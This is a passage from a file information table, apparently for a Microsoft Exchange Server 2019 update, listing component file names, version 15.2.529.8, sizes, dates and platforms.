01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.search.fast.configuration.dll| 15.2.529.8| 16,976| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.search.fast.dll| 15.2.529.8| 436,608| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.search.files.dll| 15.2.529.8| 274,304| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.search.flighting.dll| 15.2.529.8| 24,952| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.search.mdb.dll| 15.2.529.8| 217,976| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.search.service.exe| 15.2.529.8| 26,496| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.security.applicationencryption.dll| 15.2.529.8| 221,056| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.security.dll| 15.2.529.8| 1,558,632| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.security.msarpsservice.exe| 15.2.529.8| 19,832| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.security.securitymsg.dll| 15.2.529.8| 28,544| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.server.storage.admininterface.dll| 15.2.529.8| 225,376| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.server.storage.common.dll| 15.2.529.8| 5,150,288| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.server.storage.diagnostics.dll| 15.2.529.8| 214,912| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.server.storage.directoryservices.dll| 15.2.529.8| 115,576| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.server.storage.esebackinterop.dll| 15.2.529.8| 83,024| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.server.storage.eventlog.dll| 15.2.529.8| 80,760| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.server.storage.fulltextindex.dll| 15.2.529.8| 66,432| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.server.storage.ha.dll| 15.2.529.8| 81,488| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.server.storage.lazyindexing.dll| 15.2.529.8| 212,040| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.server.storage.logicaldatamodel.dll| 15.2.529.8| 1,340,800| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.server.storage.mapidisp.dll| 15.2.529.8| 511,872| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.server.storage.multimailboxsearch.dll| 15.2.529.8| 47,688| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.server.storage.physicalaccess.dll| 15.2.529.8| 873,544| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.server.storage.propertydefinitions.dll| 15.2.529.8| 1,352,056| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.server.storage.propertytag.dll| 15.2.529.8| 30,584| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.server.storage.rpcproxy.dll| 15.2.529.8| 130,424| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.server.storage.storecommonservices.dll| 15.2.529.8| 1,018,752| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.server.storage.storeintegritycheck.dll| 15.2.529.8| 111,480| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.server.storage.workermanager.dll| 15.2.529.8| 34,680| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.server.storage.xpress.dll| 15.2.529.8| 19,320| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.servicehost.eventlog.dll| 15.2.529.8| 14,944| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.servicehost.exe| 15.2.529.8| 60,792| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.dll| 15.2.529.8| 50,768| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.eventlog.dll| 15.2.529.8| 14,208| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.servicelets.unifiedpolicysyncservicelet.eventlog.dll| 15.2.529.8| 14,208| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.services.common.dll| 15.2.529.8| 74,104| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.services.dll| 15.2.529.8| 8,494,152| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.services.eventlogs.dll| 15.2.529.8| 30,072| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.services.ewshandler.dll| 15.2.529.8| 633,728| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.services.ewsserialization.dll| 15.2.529.8| 1,651,280| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.services.json.dll| 15.2.529.8| 296,520| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.services.messaging.dll| 15.2.529.8| 43,384| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.services.onlinemeetings.dll| 15.2.529.8| 233,336| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.services.surface.dll| 15.2.529.8| 178,552| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.services.wcf.dll| 15.2.529.8| 348,536| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.setup.acquirelanguagepack.dll| 15.2.529.8| 56,696| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.setup.bootstrapper.common.dll| 15.2.529.8| 93,056| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.setup.common.dll| 15.2.529.8| 296,312| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.setup.commonbase.dll| 15.2.529.8| 35,704| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.setup.console.dll| 15.2.529.8| 27,216| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.setup.gui.dll| 15.2.529.8| 114,784| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.setup.parser.dll| 15.2.529.8| 53,624| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.setup.signverfwrapper.dll| 15.2.529.8| 75,128| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.sharedcache.caches.dll| 15.2.529.8| 142,720| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.sharedcache.client.dll| 15.2.529.8| 24,960| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.sharedcache.eventlog.dll| 15.2.529.8| 15,232| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.sharedcache.exe| 15.2.529.8| 58,744| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.sharepointsignalstore.dll| 15.2.529.8| 27,000| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.slabmanifest.dll| 15.2.529.8| 47,184| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.sqm.dll| 15.2.529.8| 46,968| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.store.service.exe| 15.2.529.8| 28,232| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.store.worker.exe| 15.2.529.8| 26,488| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.storeobjectsservice.eventlog.dll| 15.2.529.8| 13,904| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.storeobjectsservice.exe| 15.2.529.8| 31,608| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.storeprovider.dll| 15.2.529.8| 1,205,112| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.structuredquery.dll| 15.2.529.8| 158,800| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.symphonyhandler.dll| 15.2.529.8| 628,096| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.syncmigration.eventlog.dll| 15.2.529.8| 13,176| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.syncmigrationservicelet.dll| 15.2.529.8| 16,248| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.systemprobemsg.dll| 15.2.529.8| 13,392| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.textprocessing.dll| 15.2.529.8| 221,776| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.textprocessing.eventlog.dll| 15.2.529.8| 13,696| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.transport.agent.addressbookpolicyroutingagent.dll| 15.2.529.8| 29,256| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.transport.agent.antispam.common.dll| 15.2.529.8| 138,624| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.agent.contentfilter.cominterop.dll| 15.2.529.8| 21,888| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.agent.controlflow.dll| 15.2.529.8| 40,320| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.transport.agent.faultinjectionagent.dll| 15.2.529.8| 22,904| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.agent.frontendproxyagent.dll| 15.2.529.8| 21,376| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.transport.agent.hygiene.dll| 15.2.529.8| 212,344| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.transport.agent.interceptoragent.dll| 15.2.529.8| 98,680| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.agent.liveidauth.dll| 15.2.529.8| 22,912| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.agent.malware.dll| 15.2.529.8| 169,344| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.transport.agent.malware.eventlog.dll| 15.2.529.8| 18,304| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.transport.agent.phishingdetection.dll| 15.2.529.8| 21,064| 01-Jan-2020| 11:24| x86 \nMicrosoft.exchange.transport.agent.prioritization.dll| 15.2.529.8| 31,824| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.transport.agent.protocolanalysis.dbaccess.dll| 15.2.529.8| 47,176| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.agent.search.dll| 15.2.529.8| 30,072| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.agent.senderid.core.dll| 15.2.529.8| 53,120| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.agent.sharedmailboxsentitemsroutingagent.dll| 15.2.529.8| 44,928| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.transport.agent.systemprobedrop.dll| 15.2.529.8| 18,504| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.transport.agent.transportfeatureoverrideagent.dll| 15.2.529.8| 46,456| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.agent.trustedmailagents.dll| 15.2.529.8| 46,664| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.transport.cloudmonitor.common.dll| 15.2.529.8| 28,024| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.common.dll| 15.2.529.8| 457,088| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.contracts.dll| 15.2.529.8| 18,504| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.decisionengine.dll| 15.2.529.8| 30,584| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.dll| 15.2.529.8| 4,183,928| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.dsapiclient.dll| 15.2.529.8| 182,144| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.eventlog.dll| 15.2.529.8| 121,728| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.transport.extensibility.dll| 15.2.529.8| 404,040| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.extensibilityeventlog.dll| 15.2.529.8| 14,712| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.transport.flighting.dll| 15.2.529.8| 90,192| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.logging.dll| 15.2.529.8| 89,160| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.logging.search.dll| 15.2.529.8| 68,472| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.loggingcommon.dll| 15.2.529.8| 63,360| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.monitoring.dll| 15.2.529.8| 430,664| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.net.dll| 15.2.529.8| 122,232| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.protocols.contracts.dll| 15.2.529.8| 17,992| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.protocols.dll| 15.2.529.8| 29,056| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.protocols.httpsubmission.dll| 15.2.529.8| 60,792| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.requestbroker.dll| 15.2.529.8| 50,256| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.scheduler.contracts.dll| 15.2.529.8| 33,144| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.scheduler.dll| 15.2.529.8| 113,016| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.smtpshared.dll| 15.2.529.8| 18,304| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.storage.contracts.dll| 15.2.529.8| 52,088| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.storage.dll| 15.2.529.8| 675,400| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.transport.storage.management.dll| 15.2.529.8| 23,936| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.sync.agents.dll| 15.2.529.8| 17,792| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.transport.sync.common.dll| 15.2.529.8| 487,288| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.sync.common.eventlog.dll| 15.2.529.8| 12,672| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.transport.sync.manager.dll| 15.2.529.8| 306,256| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.sync.manager.eventlog.dll| 15.2.529.8| 15,744| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.transport.sync.migrationrpc.dll| 15.2.529.8| 46,456| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.sync.worker.dll| 15.2.529.8| 1,044,560| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.transport.sync.worker.eventlog.dll| 15.2.529.8| 15,432| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.transportlogsearch.eventlog.dll| 15.2.529.8| 18,808| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.transportsyncmanagersvc.exe| 15.2.529.8| 19,024| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.um.troubleshootingtool.shared.dll| 15.2.529.8| 118,856| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.um.umcommon.dll| 15.2.529.8| 924,536| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.um.umcore.dll| 15.2.529.8| 1,466,744| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.um.umvariantconfiguration.dll| 15.2.529.8| 32,640| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.unifiedcontent.dll| 15.2.529.8| 41,848| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.unifiedcontent.exchange.dll| 15.2.529.8| 25,168| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.unifiedpolicyfilesync.eventlog.dll| 15.2.529.8| 15,224| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.unifiedpolicyfilesyncservicelet.dll| 15.2.529.8| 83,320| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.unifiedpolicysyncservicelet.dll| 15.2.529.8| 50,040| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.variantconfiguration.antispam.dll| 15.2.529.8| 642,432| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.variantconfiguration.core.dll| 15.2.529.8| 186,232| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.variantconfiguration.dll| 15.2.529.8| 67,456| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.variantconfiguration.eventlog.dll| 15.2.529.8| 12,872| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.variantconfiguration.excore.dll| 15.2.529.8| 56,696| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.variantconfiguration.globalsettings.dll| 15.2.529.8| 27,512| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.variantconfiguration.hygiene.dll| 15.2.529.8| 120,912| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.variantconfiguration.protectionservice.dll| 15.2.529.8| 31,608| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.variantconfiguration.threatintel.dll| 15.2.529.8| 57,208| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.webservices.auth.dll| 15.2.529.8| 35,920| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.webservices.dll| 15.2.529.8| 1,054,288| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.webservices.xrm.dll| 15.2.529.8| 68,176| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.wlmservicelet.dll| 15.2.529.8| 23,632| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.wopiclient.dll| 15.2.529.8| 77,392| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.workingset.signalapi.dll| 15.2.529.8| 17,272| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.workingsetabstraction.signalapiabstraction.dll| 15.2.529.8| 29,048| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.workloadmanagement.dll| 15.2.529.8| 505,424| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.workloadmanagement.eventlogs.dll| 15.2.529.8| 14,928| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.workloadmanagement.throttling.configuration.dll| 15.2.529.8| 36,736| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.workloadmanagement.throttling.dll| 15.2.529.8| 66,432| 01-Jan-2020| 11:22| x86 \nMicrosoft.fast.contextlogger.json.dll| 15.2.529.8| 19,536| 01-Jan-2020| 11:22| x86 \nMicrosoft.filtering.dll| 15.2.529.8| 113,224| 01-Jan-2020| 11:21| x86 \nMicrosoft.filtering.exchange.dll| 15.2.529.8| 57,208| 01-Jan-2020| 11:21| x86 \nMicrosoft.filtering.interop.dll| 15.2.529.8| 15,432| 01-Jan-2020| 11:22| x86 \nMicrosoft.forefront.activedirectoryconnector.dll| 15.2.529.8| 47,176| 01-Jan-2020| 11:22| x86 \nMicrosoft.forefront.activedirectoryconnector.eventlog.dll| 15.2.529.8| 15,952| 01-Jan-2020| 11:21| x64 \nMicrosoft.forefront.filtering.common.dll| 15.2.529.8| 23,936| 01-Jan-2020| 11:21| x86 \nMicrosoft.forefront.filtering.diagnostics.dll| 15.2.529.8| 22,608| 01-Jan-2020| 11:20| x86 \nMicrosoft.forefront.filtering.eventpublisher.dll| 15.2.529.8| 34,680| 01-Jan-2020| 11:21| x86 \nMicrosoft.forefront.management.powershell.format.ps1xml| Not applicable| 48,898| 01-Jan-2020| 11:21| Not applicable \nMicrosoft.forefront.management.powershell.types.ps1xml| Not applicable| 16,274| 01-Jan-2020| 11:21| Not applicable \nMicrosoft.forefront.monitoring.activemonitoring.local.components.dll| 15.2.529.8| 1,518,456| 01-Jan-2020| 11:22| x86 \nMicrosoft.forefront.monitoring.activemonitoring.local.components.messages.dll| 15.2.529.8| 13,176| 01-Jan-2020| 11:21| x64 \nMicrosoft.forefront.monitoring.management.outsidein.dll| 15.2.529.8| 33,360| 01-Jan-2020| 11:21| x86 \nMicrosoft.forefront.recoveryactionarbiter.contract.dll| 15.2.529.8| 18,296| 01-Jan-2020| 11:22| x86 \nMicrosoft.forefront.reporting.common.dll| 15.2.529.8| 46,456| 01-Jan-2020| 11:21| x86 \nMicrosoft.forefront.reporting.ondemandquery.dll| 15.2.529.8| 50,560| 01-Jan-2020| 11:21| x86 \nMicrosoft.isam.esent.collections.dll| 15.2.529.8| 72,568| 01-Jan-2020| 11:21| x86 \nMicrosoft.isam.esent.interop.dll| 15.2.529.8| 541,560| 01-Jan-2020| 11:19| x86 \nMicrosoft.managementgui.dll| 15.2.529.8| 133,712| 01-Jan-2020| 11:22| x86 \nMicrosoft.mce.interop.dll| 15.2.529.8| 24,440| 01-Jan-2020| 11:22| x86 \nMicrosoft.office.audit.dll| 15.2.529.8| 125,008| 01-Jan-2020| 11:21| x86 \nMicrosoft.office.client.discovery.unifiedexport.dll| 15.2.529.8| 593,280| 01-Jan-2020| 11:21| x86 \nMicrosoft.office.common.ipcommonlogger.dll| 15.2.529.8| 42,368| 01-Jan-2020| 11:20| x86 \nMicrosoft.office.compliance.console.core.dll| 15.2.529.8| 217,976| 01-Jan-2020| 11:20| x86 \nMicrosoft.office.compliance.console.dll| 15.2.529.8| 854,904| 01-Jan-2020| 11:20| x86 \nMicrosoft.office.compliance.console.extensions.dll| 15.2.529.8| 485,968| 01-Jan-2020| 11:19| x86 \nMicrosoft.office.compliance.core.dll| 15.2.529.8| 413,056| 01-Jan-2020| 11:21| x86 \nMicrosoft.office.compliance.ingestion.dll| 15.2.529.8| 36,224| 01-Jan-2020| 11:22| x86 \nMicrosoft.office.compliancepolicy.exchange.dar.dll| 15.2.529.8| 84,856| 01-Jan-2020| 11:22| x86 \nMicrosoft.office.compliancepolicy.platform.dll| 15.2.529.8| 1,782,136| 01-Jan-2020| 11:21| x86 \nMicrosoft.office.datacenter.activemonitoring.management.common.dll| 15.2.529.8| 49,536| 01-Jan-2020| 11:21| x86 \nMicrosoft.office.datacenter.activemonitoring.management.dll| 15.2.529.8| 27,720| 01-Jan-2020| 11:21| x86 \nMicrosoft.office.datacenter.activemonitoringlocal.dll| 15.2.529.8| 174,968| 01-Jan-2020| 11:19| x86 \nMicrosoft.office.datacenter.monitoring.activemonitoring.recovery.dll| 15.2.529.8| 166,472| 01-Jan-2020| 11:21| x86 \nMicrosoft.office365.datainsights.uploader.dll| 15.2.529.8| 40,528| 01-Jan-2020| 11:19| x86 \nMicrosoft.online.box.shell.dll| 15.2.529.8| 46,456| 01-Jan-2020| 11:20| x86 \nMicrosoft.powershell.hostingtools.dll| 15.2.529.8| 68,176| 01-Jan-2020| 11:21| x86 \nMicrosoft.powershell.hostingtools_2.dll| 15.2.529.8| 68,176| 01-Jan-2020| 11:21| x86 \nMicrosoft.tailoredexperiences.core.dll| 15.2.529.8| 120,184| 01-Jan-2020| 11:22| x86 \nMigrateumcustomprompts.ps1| Not applicable| 19,106| 01-Jan-2020| 11:20| Not applicable \nModernpublicfoldertomailboxmapgenerator.ps1| Not applicable| 29,348| 01-Jan-2020| 11:20| Not applicable \nMovemailbox.ps1| Not applicable| 61,116| 01-Jan-2020| 11:21| Not applicable \nMovetransportdatabase.ps1| Not applicable| 30,586| 01-Jan-2020| 11:20| Not applicable \nMove_publicfolderbranch.ps1| Not applicable| 17,520| 01-Jan-2020| 11:21| Not applicable \nMpgearparser.dll| 15.2.529.8| 99,912| 01-Jan-2020| 11:21| x64 \nMsclassificationadapter.dll| 15.2.529.8| 248,912| 01-Jan-2020| 11:21| x64 \nMsexchangecompliance.exe| 15.2.529.8| 78,712| 01-Jan-2020| 11:21| x86 \nMsexchangedagmgmt.exe| 15.2.529.8| 25,672| 01-Jan-2020| 11:22| x86 \nMsexchangedelivery.exe| 15.2.529.8| 38,992| 01-Jan-2020| 11:22| x86 \nMsexchangefrontendtransport.exe| 15.2.529.8| 31,824| 01-Jan-2020| 11:22| x86 \nMsexchangehmhost.exe| 15.2.529.8| 27,208| 01-Jan-2020| 11:21| x86 \nMsexchangehmrecovery.exe| 15.2.529.8| 29,792| 01-Jan-2020| 11:21| x86 \nMsexchangemailboxassistants.exe| 15.2.529.8| 72,568| 01-Jan-2020| 11:22| x86 \nMsexchangemailboxreplication.exe| 15.2.529.8| 21,064| 01-Jan-2020| 11:22| x86 \nMsexchangemigrationworkflow.exe| 15.2.529.8| 68,992| 01-Jan-2020| 11:22| x86 \nMsexchangerepl.exe| 15.2.529.8| 71,272| 01-Jan-2020| 11:21| x86 \nMsexchangesubmission.exe| 15.2.529.8| 123,256| 01-Jan-2020| 11:22| x86 \nMsexchangethrottling.exe| 15.2.529.8| 39,808| 01-Jan-2020| 11:22| x86 \nMsexchangetransport.exe| 15.2.529.8| 74,104| 01-Jan-2020| 11:22| x86 \nMsexchangetransportlogsearch.exe| 15.2.529.8| 139,344| 01-Jan-2020| 11:22| x86 \nMsexchangewatchdog.exe| 15.2.529.8| 55,672| 01-Jan-2020| 11:22| x64 \nMspatchlinterop.dll| 15.2.529.8| 53,624| 01-Jan-2020| 11:21| x64 \nNativehttpproxy.dll| 15.2.529.8| 91,520| 01-Jan-2020| 11:23| x64 \nNavigatorparser.dll| 15.2.529.8| 636,792| 01-Jan-2020| 11:21| x64 \nNego2nativeinterface.dll| 15.2.529.8| 19,320| 01-Jan-2020| 11:20| x64 \nNegotiateclientcertificatemodule.dll| 15.2.529.8| 30,080| 01-Jan-2020| 11:23| x64 \nNewtestcasconnectivityuser.ps1| Not applicable| 19,748| 01-Jan-2020| 11:21| Not applicable \nNewtestcasconnectivityuserhosting.ps1| Not applicable| 24,567| 01-Jan-2020| 11:21| Not applicable \nNtspxgen.dll| 15.2.529.8| 80,768| 01-Jan-2020| 11:23| x64 \nOleconverter.exe| 15.2.529.8| 173,944| 01-Jan-2020| 11:22| x64 \nOutsideinmodule.dll| 15.2.529.8| 87,936| 01-Jan-2020| 11:21| x64 \nOwaauth.dll| 15.2.529.8| 92,024| 01-Jan-2020| 11:20| x64 \nPerf_common_extrace.dll| 15.2.529.8| 245,112| 01-Jan-2020| 11:20| x64 \nPerf_exchmem.dll| 15.2.529.8| 86,608| 01-Jan-2020| 11:21| x64 \nPipeline2.dll| 15.2.529.8| 1,454,456| 01-Jan-2020| 11:21| x64 \nPreparemoverequesthosting.ps1| Not applicable| 70,983| 01-Jan-2020| 11:21| Not applicable \nPrepare_moverequest.ps1| Not applicable| 73,213| 01-Jan-2020| 11:21| Not applicable \nProductinfo.managed.dll| 15.2.529.8| 27,008| 01-Jan-2020| 11:21| x86 \nProxybinclientsstringsdll| 15.2.529.8| 924,544| 01-Jan-2020| 11:21| x86 \nPublicfoldertomailboxmapgenerator.ps1| Not applicable| 23,226| 01-Jan-2020| 11:21| Not applicable \nQuietexe.exe| 15.2.529.8| 14,928| 01-Jan-2020| 11:22| x86 \nRedistributeactivedatabases.ps1| Not applicable| 250,532| 01-Jan-2020| 11:21| Not applicable \nReinstalldefaulttransportagents.ps1| Not applicable| 21,643| 01-Jan-2020| 11:21| Not applicable \nRemoteexchange.ps1| Not applicable| 23,857| 01-Jan-2020| 11:22| Not applicable \nRemoveuserfrompfrecursive.ps1| Not applicable| 14,664| 01-Jan-2020| 11:20| Not applicable \nReplaceuserpermissiononpfrecursive.ps1| Not applicable| 14,986| 01-Jan-2020| 11:20| Not applicable \nReplaceuserwithuseronpfrecursive.ps1| Not applicable| 14,996| 01-Jan-2020| 11:21| Not applicable \nReplaycrimsonmsg.dll| 15.2.529.8| 1,104,976| 01-Jan-2020| 11:20| x64 \nResetattachmentfilterentry.ps1| Not applicable| 15,464| 01-Jan-2020| 11:20| Not applicable \nResetcasservice.ps1| Not applicable| 21,691| 01-Jan-2020| 11:21| Not applicable \nReset_antispamupdates.ps1| Not applicable| 14,085| 01-Jan-2020| 11:20| Not applicable \nRestoreserveronprereqfailure.ps1| Not applicable| 15,125| 01-Jan-2020| 11:22| Not applicable \nResumemailboxdatabasecopy.ps1| Not applicable| 17,194| 01-Jan-2020| 11:21| Not applicable \nRightsmanagementwrapper.dll| 15.2.529.8| 86,392| 01-Jan-2020| 11:21| x64 \nRollalternateserviceaccountpassword.ps1| Not applicable| 56,074| 01-Jan-2020| 11:21| Not applicable \nRpcperf.dll| 15.2.529.8| 23,416| 01-Jan-2020| 11:22| x64 \nRpcproxyshim.dll| 15.2.529.8| 39,288| 01-Jan-2020| 11:23| x64 \nRulesauditmsg.dll| 15.2.529.8| 12,672| 01-Jan-2020| 11:22| x64 \nSafehtmlnativewrapper.dll| 15.2.529.8| 34,920| 01-Jan-2020| 11:22| x64 \nScanenginetest.exe| 15.2.529.8| 956,288| 01-Jan-2020| 11:22| x64 \nScanningprocess.exe| 15.2.529.8| 739,192| 01-Jan-2020| 11:21| x64 \nSearchdiagnosticinfo.ps1| Not applicable| 16,796| 01-Jan-2020| 11:21| Not applicable \nServicecontrol.ps1| Not applicable| 52,313| 01-Jan-2020| 11:22| Not applicable \nSetmailpublicfolderexternaladdress.ps1| Not applicable| 21,074| 01-Jan-2020| 11:20| Not applicable \nSettingsadapter.dll| 15.2.529.8| 116,088| 01-Jan-2020| 11:20| x64 \nSetup.exe| 15.2.529.8| 20,344| 01-Jan-2020| 11:21| x86 \nSetupui.exe| 15.2.529.8| 188,280| 01-Jan-2020| 11:22| x86 \nSplit_publicfoldermailbox.ps1| Not applicable| 52,173| 01-Jan-2020| 11:21| Not applicable \nStartdagservermaintenance.ps1| Not applicable| 27,835| 01-Jan-2020| 11:20| Not applicable \nStatisticsutil.dll| 15.2.529.8| 142,200| 01-Jan-2020| 11:21| x64 \nStopdagservermaintenance.ps1| Not applicable| 21,117| 01-Jan-2020| 11:21| Not applicable \nStoretsconstants.ps1| Not applicable| 16,110| 01-Jan-2020| 11:21| Not applicable \nStoretslibrary.ps1| Not applicable| 27,991| 01-Jan-2020| 11:20| Not applicable \nStore_mapi_net_bin_perf_x64_exrpcperf.dll| 15.2.529.8| 28,536| 01-Jan-2020| 11:20| x64 \nSync_mailpublicfolders.ps1| Not applicable| 43,911| 